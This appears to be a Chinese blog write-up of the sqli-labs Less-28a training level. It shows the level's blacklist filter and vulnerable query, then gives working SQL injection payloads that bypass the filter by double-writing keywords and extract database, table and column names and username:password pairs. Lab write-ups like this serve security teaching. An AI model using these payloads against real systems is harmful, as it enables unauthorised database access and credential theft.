sqli-labs-Less-28a

SQLI-LAPS 实验记录

Less-28a

这一关给出的提示信息显示仅对'UNION'以及'SELECT'字符串进行了过滤,相比上一关,难度要降低了一些,我们只需要使用双写绕过的方式就可以应对。

php 复制代码
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
0') union%09union selectselect 1,2,3 and ('1')=('1

结果如图所示,可以看到页面成功返回信息,我们就可以在回显位进行修改,以查找对应的数据库名、表名、列名及其他数据。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0') union%09union selectselect 1,database(),3 and ('1')=('1
  • 查找表名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and ('1')=('1
  • 查找列名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and ('1')=('1

    查找其他数据:

    php 复制代码
    0') union%09union selectselect 1,(select concat(username,':',password) from security.users where (id=1)),3 and ('1')=('1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
Elastic 中国社区官方博客7 小时前
13.7万人,零人工决策:使用 Elasticsearch 实现智能体驱动的灾害响应系统
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
yuzhiboyouye7 小时前
sql增删改查怎么写?有时会不会有联表查询的增删查改
数据库·sql
以太浮标7 小时前
华为eNSP模拟器综合实验之- 路由黑洞场景解析及实验
运维·网络·网络协议·网络安全·华为·智能路由器·信息与通信
jingyu飞鸟8 小时前
openEuler 22.03 LTS SP4安装华为opengauss 22.03 LTS版本数据库,一键复制安装使用,保姆级教程
数据库·华为
IvorySQL8 小时前
【HOW 2026 分论坛演讲】PG/IvorySQL私有云中实践
数据库·人工智能·sql·postgresql
SAP庖丁解码8 小时前
【采购申请的校验——成本中心范围】
数据库
雪的季节8 小时前
HTTP 和 HTTPS 五大核心区别
数据库·http·https
GottdesKrieges8 小时前
OceanBase迁移用户及其权限配置
数据库·oceanbase
就叫_这个吧8 小时前
Java+MySQL+Mybatis+Junit4实现学生信息管理系统
java·mysql·mybatis
OceanBase数据库官方博客9 小时前
新版本 OceanBase seekdb 1.3.0:22倍性能增益,P99抖动小于1.1倍
数据库·oceanbase